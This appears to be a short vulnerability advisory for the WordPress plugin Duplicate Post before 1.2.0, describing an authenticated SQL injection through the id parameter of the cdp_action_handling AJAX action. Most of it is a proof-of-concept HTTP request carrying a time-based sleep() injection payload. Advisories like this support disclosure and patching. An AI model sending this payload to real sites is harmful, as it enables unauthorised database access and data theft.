Duplicate Post < 1.2.0 - Authenticated SQL Injection

2021-10-2500:00:00

wpvulndb

101

0.001 Low

EPSS

Percentile

38.5%

JSON

The plugin does not properly sanitise and escape the id parameter passed to the cdp_action_handling AJAX action, which could allow user having access to the plugin (by default admins) to perform SQL Injection attacks

POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Length: 229
Accept: */*
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: wordpress_3d2361ff3a8f0d..(truncated)
Connection: close

action=cdp_action_handling&token=cdp&f=copy_post&origin=tooltip&id%5B%5D=1%20and%20(select*from(select(sleep(9)))a)--%20&data%5Btype%5D=copy-quick&data%5Btimes%5D=1&data%5Bsite%5D=-1&data%5Bprofile%5D=default&data%5Bswap%5D=false